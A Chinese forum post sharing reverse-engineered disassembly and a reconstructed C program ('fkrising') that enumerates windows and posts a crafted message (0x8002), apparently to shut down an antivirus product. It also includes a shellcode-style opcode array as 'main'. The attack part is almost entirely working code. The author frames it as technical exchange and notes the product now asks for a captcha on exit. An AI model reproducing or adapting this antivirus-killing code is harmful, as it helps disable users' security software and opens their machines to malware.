注册
登录
| 关键词： nbsp szANSIString PUSH hWindow void EBX GetWindow CALL good 代码 |
貌似去年还有用吧.X星现在恶心到退出要用验证码了... 发出来也没用,就当做技术交流..注:以下代码来源逆向成果 /*+;取自反汇编代码,处理核心131434FA |. 6A 00 PUSH 0 ; /Relation = GW_HWNDFIRST131434FC |. E8 27FFFFFF CALL <JMP.&user32.GetForegroundWindow> ; |[GetForegroundWindow13143501 |. 50 PUSH EAX ; |hWnd13143502 |. E8 29FFFFFF CALL <JMP.&user32.GetWindow> ; \GetWindow13143507 |. 8BD8 MOV EBX,EAX ; GetWindow 返回值给EBX;13143509 |> /6A 14 /PUSH 14 ; /Count = 14 (20.)1314350B |. |56 |PUSH ESI ; |Buffer1314350C |. |53 |PUSH EBX ; |hWnd1314350D |. |E8 0EFFFFFF |CALL <JMP.&user32.GetClassNameA> ; \GetClassNameA13143512 |. |8D45 EC |LEA EAX,DWORD PTR SS:[EBP-14]13143515 |. |8BD6 |MOV EDX,ESI13143517 |. |B9 15000000 |MOV ECX,15 1314351C |. |E8 4BFAFFFF |CALL good.13142F6C ; 这个子函数,可能作者用到了try ..的异常处理13143521 |. |8B45 EC |MOV EAX,DWORD PTR SS:[EBP-14]13143524 |. |BA 80351413 |MOV EDX,good.13143580 ; ASCII "#32770"13143529 |. |E8 56FAFFFF |CALL good.13142F84 ; 这个子函数大部分代码似乎都是DELPHI编译器的东东...1314352E |. |75 04 |JNZ SHORT good.1314353413143530 |. |85DB |TEST EBX,EBX ; 这里直接跳到退出了13143532 |. |74 20 |JE SHORT good.1314355413143534 |> |68 D0C54400 |PUSH 44C5D0 ; /lParam = 44C5D013143539 |. |6A 00 |PUSH 0 ; |wParam = 01314353B |. |68 02800000 |PUSH 8002 ; |Message = MSG(8002)13143540 |. |53 |PUSH EBX ; |hWnd13143541 |. |E8 F2FEFFFF |CALL <JMP.&user32.PostMessageA> ; \PostMessageA13143546 |. |6A 02 |PUSH 2 ; /Relation = GW_HWNDNEXT13143548 |. |53 |PUSH EBX ; |hWnd13143549 |. |E8 E2FEFFFF |CALL <JMP.&user32.GetWindow> ; \GetWindow1314354E |. |8BD8 |MOV EBX,EAX13143550 |. |85DB |TEST EBX,EBX13143552 |.^\75 B5 \JNZ SHORT good.13143509 ; 返回继续循环...;以下为C语言逆向的还原代码,略有不同: 出于演示目的, 不做"#32770"的判断!-*/#include <windows.h>#include <stdio.h>#ifdef __cplusplusextern "C"#endif#define __CONSOLE32_void dbg( LPWSTR );void __cdecl outdbg(LPCTSTR , ...);void __stdcall fkrising ( void);const int main[] ={ 0x68909090 , (int)(main+5) , 0xb8909090 , (DWORD)fkrising , 0xc358d0ff , 0x0000000a}; void __stdcall fkrising ( void ){ HWND hWindow; wchar_t lpClassName[0x14] ; hWindow = GetWindow( GetForegroundWindow(),GW_HWNDFIRST ); do { GetClassName(hWindow, lpClassName, 0x14); dbg(lpClassName); PostMessage(hWindow ,0x8002 ,0,0x44C5D0) ; hWindow = GetWindow( hWindow, 2) ; } while( hWindow != NULL ); return ;} void __cdecl outdbg(LPCTSTR ptzFormat, ...){ va_list vlArgs; TCHAR tzText[1024]; va_start(vlArgs, ptzFormat); wvsprintf(tzText, ptzFormat, vlArgs); OutputDebugString(tzText); va_end(vlArgs); return ;} void dbg( LPWSTR lpMsg ){ char szANSIString[MAX_PATH]; ZeroMemory(szANSIString, sizeof(szANSIString) ); WideCharToMultiByte ( CP_ACP, WC_COMPOSITECHECK, lpMsg, -1, szANSIString, sizeof(szANSIString), NULL, NULL ); #ifdef __CONSOLE32_ printf ("Class Name : %s\n" ,szANSIString ) ; #else outdbg("Class Name : %s\n" ,szANSIString ); #endif // __CONSOLE32_ return ;} |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
